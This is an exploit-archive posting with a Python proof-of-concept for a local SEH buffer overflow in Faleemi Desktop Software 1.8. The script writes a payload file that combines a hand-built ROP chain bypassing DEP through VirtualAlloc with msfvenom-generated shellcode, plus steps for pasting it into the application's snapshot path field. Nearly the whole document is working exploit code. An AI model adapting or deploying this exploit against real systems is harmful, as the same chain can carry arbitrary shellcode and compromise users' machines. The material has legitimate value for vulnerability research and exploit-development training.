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Faleemi Desktop Software 1.8 Local Buffer Overflow

Faleemi Desktop Software 1.8 Local Buffer Overflow
Posted Jan 29, 2019
Authored by bzyo

Faleemi Desktop Software version 1.8 local SEH buffer overflow exploit with DEP bypass.

tags | exploit, overflow, local
SHA-256 | e412e8f739ae7b311746cbebf169aec5c0d59ca7fe6a307acfd7613ec19dcc8e

Faleemi Desktop Software 1.8 Local Buffer Overflow

Change Mirror Download
#!/usr/bin/python

# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH)(DEP Bypass)
# Date: 01-26-19
# Vulnerable Software: Faleemi Desktop Software 1.8
# Vendor Homepage: https://www.faleemi.com/
# Version: 1.8.0
# Software Link 1: http://support.faleemi.com/fsc776/Faleemi_v1.8.exe
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. open/copy contents of faleemidep.txt
# 3. open app, click on System Setup
# 4. paste contents of faleemidep.txt in "Save Path for Snapshot and Record file" field
# 5. click on save
# 6. pop calc

# manually created ropchain based on mona.py 'rop.txt' and 'ropfunc.txt' finds
# practicing dep bypass by not using auto generated mona.py ropchains

# original seh poc from Gionathan "John" Reale, EDB: 45402

# badchars; \x00\x0a\x0d\x2f

import struct
filename = "faleemidep.txt"

junk = "A" * 264

#0x6001ea7e # ADD ESP,0B34 # POP EBX # POP EBP # POP ESI # POP EDI # RETN
seh = "\x7e\xea\x01\x60"
fill = "C"*524

#VirtualAlloc()
#EDI = ROP NOP (RETN)
rop = struct.pack('<L',0x60018221) # POP EDI # RETN
rop += struct.pack('<L',0x60018222) # ROP-NOP

#ECX = flProtect (0x40)
rop += struct.pack('<L',0x60047e71) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff)
for i in range(0,65): rop += struct.pack('<L',0x6004bcc7) # INC ECX # RETN

#ESI = ptr to VirtualAlloc()
rop += struct.pack('<L',0x6004aaca) # POP EAX # RETN
rop += struct.pack('<L',0x6004f0bc) # ptr to &VirtualAlloc()
rop += struct.pack('<L',0x68b88b96) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x73d63c82) # XCHG EAX,ESI # RETN

#EDX = flAllocationType (0x1000)
# Math 1)FFFFFFFF - 0cc48368 = 0F33B7C97 Math 2)0F33B7C97 + 1001 = F33B8C98)
rop += struct.pack('<L',0x68b832d3) # MOV EDX,0CC48368 # RETN
rop += struct.pack('<L',0x60036b1c) # POP EBX # RETN

rop += struct.pack('<L',0xF33B8C98)
rop += struct.pack('<L',0x6004e5ce) # ADD EDX,EBX # POP EBX # RETN 0x10
rop += struct.pack('<L',0x60018222) # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222) # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222) # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222) # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222) # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222) # ROP-NOP #compensate for POP and RETN 10

#EBP = ReturnTo (ptr to jmp esp)
#!mona jmp -r esp -cpb '\x00\x0a\x0d\x2f'
rop += struct.pack('<L',0x68b901e9) # POP EBP # RETN
rop += struct.pack('<L',0x73dd4206) # jmp esp

#EBX = dwSize (0x1)
rop += struct.pack('<L',0x73dbfebc) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff)
rop += struct.pack('<L',0x73dcbe1c) # INC EBX # XOR EAX,EAX # RETN
rop += struct.pack('<L',0x73dcbe1c) # INC EBX # XOR EAX,EAX # RETN

#EAX = NOP (0x90909090)
rop += struct.pack('<L',0x6004aaca) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOPs

#PUSHAD
rop += struct.pack('<L',0x6004bd85) # PUSHAD # RETN

nops = "\x90"*10

#msfvenom -p windows/exec cmd=calc.exe -b "\x00\x0a\x0d\x2f" -f python
calc = ""
calc += "\xd9\xf7\xb8\x0c\xa1\xba\x34\xd9\x74\x24\xf4\x5b\x29"
calc += "\xc9\xb1\x31\x31\x43\x18\x83\xc3\x04\x03\x43\x18\x43"
calc += "\x4f\xc8\xc8\x01\xb0\x31\x08\x66\x38\xd4\x39\xa6\x5e"
calc += "\x9c\x69\x16\x14\xf0\x85\xdd\x78\xe1\x1e\x93\x54\x06"
calc += "\x97\x1e\x83\x29\x28\x32\xf7\x28\xaa\x49\x24\x8b\x93"
calc += "\x81\x39\xca\xd4\xfc\xb0\x9e\x8d\x8b\x67\x0f\xba\xc6"
calc += "\xbb\xa4\xf0\xc7\xbb\x59\x40\xe9\xea\xcf\xdb\xb0\x2c"
calc += "\xf1\x08\xc9\x64\xe9\x4d\xf4\x3f\x82\xa5\x82\xc1\x42"
calc += "\xf4\x6b\x6d\xab\x39\x9e\x6f\xeb\xfd\x41\x1a\x05\xfe"
calc += "\xfc\x1d\xd2\x7d\xdb\xa8\xc1\x25\xa8\x0b\x2e\xd4\x7d"
calc += "\xcd\xa5\xda\xca\x99\xe2\xfe\xcd\x4e\x99\xfa\x46\x71"
calc += "\x4e\x8b\x1d\x56\x4a\xd0\xc6\xf7\xcb\xbc\xa9\x08\x0b"
calc += "\x1f\x15\xad\x47\x8d\x42\xdc\x05\xdb\x95\x52\x30\xa9"
calc += "\x96\x6c\x3b\x9d\xfe\x5d\xb0\x72\x78\x62\x13\x37\x76"
calc += "\x28\x3e\x11\x1f\xf5\xaa\x20\x42\x06\x01\x66\x7b\x85"
calc += "\xa0\x16\x78\x95\xc0\x13\xc4\x11\x38\x69\x55\xf4\x3e"
calc += "\xde\x56\xdd\x5c\x81\xc4\xbd\x8c\x24\x6d\x27\xd1"

pad = "D" * (7000-len(fill + rop + nops + calc))

buffer = junk + seh + fill + rop + nops + calc + pad

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
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